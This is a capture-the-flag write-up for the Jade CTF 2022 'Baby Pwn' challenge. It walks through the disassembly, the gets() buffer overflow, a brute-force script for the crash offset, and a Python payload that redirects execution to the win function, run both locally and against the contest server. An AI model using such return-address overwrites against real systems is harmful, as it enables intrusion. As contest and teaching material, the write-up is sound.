Jade CTF 2022 - Baby Pwn
Baby Pwn is a pwn challenge that was part of the 2022 Jade CTF. We were only given a binary that could print our user input. The goal was to call a function that would print the flag.
File
$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 2.6.32,
BuildID[sha1]=9102a90681079c7c798825becb1be0a1851ff292, not stripped
Disassembly
To see what the binary does, we can use Binary Ninja
to disassemble the binary.
int32_t main(int32_t argc, char** argv, char** envp) {
setvbuf(stdout, nullptr, 2, 0);
setvbuf(stdin, nullptr, 1, 0);
start_program();
return 0;
}
The main
function is pretty simple, it sets the stdout
and stdin
buffer to unbuffered
and then calls the start_program
function.
int64_t start_program() {
puts("Enter your name:");
void var_208;
gets(&var_208);
return printf("Hello %s, welcome to jadeCTF!\n", &var_208);
}
The start_program
function prints a message, reads the user input, and then prints it back.
We also have a win
function that prints the flag. But it is never called.
int64_t win() {
puts("Nice job :)");
FILE* rax = fopen("flag.txt", &data_4008e4);
if (rax != 0) {
void var_78;
fgets(&var_78, 0x64, rax);
return printf("Here is your flag: %s\n", &var_78);
}
puts("Sorry, flag doesn't exist.");
exit(0);
/* no return */
}
Vulnerability
The gets
function is vulnerable to a buffer overflow
. We can overwrite the return address and call the win
function.
Execution of the exploit
Find the input length that creates a segmentation fault.
#!/bin/bash
for i in {1..2000}
do
str=$(printf "%0.sA" $(seq 1 $i))
echo $str | ./chall > /dev/null
if [[ $? != 0 ]]
then
echo "Found it: $i"
exit
fi
done
Output:
$ ./findMax.sh
./findMax.sh: line 2: 38365 Done echo $str
38366 Segmentation fault (core dumped) | ./chall > /dev/null
Found it: 520
Find the address of the win
function using objdump
.
$ objdump -d ./chall | grep win
0000000000400746 <win>:
400770: 75 14 jne 400786 <win+0x40>
Now we can create the input that overwrites the return address and calls the win
function.
python -c 'print("p2o-" * (520 // 4) + "\x46\x07\x40")'
Local execution:
$ python -c 'print("p2o-" * (520 // 4) + "\x46\x07\x40")' | ./chall
@")' | ./challEnter your name:
Hello p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-F@, welcome to jadeCTF!
Nice job :)
Sorry, flag doesn't exist.
Remote execution:
$ python -c 'print("p2o-" * (520 // 4) + "\x46\x07\x40")' |
nc 34.76.206.46 10002
@")' | nc 34.76.206.46 10002Enter your name:
Hello p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-F@, welcome to jadeCTF!
Nice job :)
Here is your flag: jadeCTF{buff3r_0v3rfl0ws_4r3_d4ng3r0u5}
Flag
The flag is “jadeCTF{buff3r_0v3rfl0ws_4r3_d4ng3r0u5}”.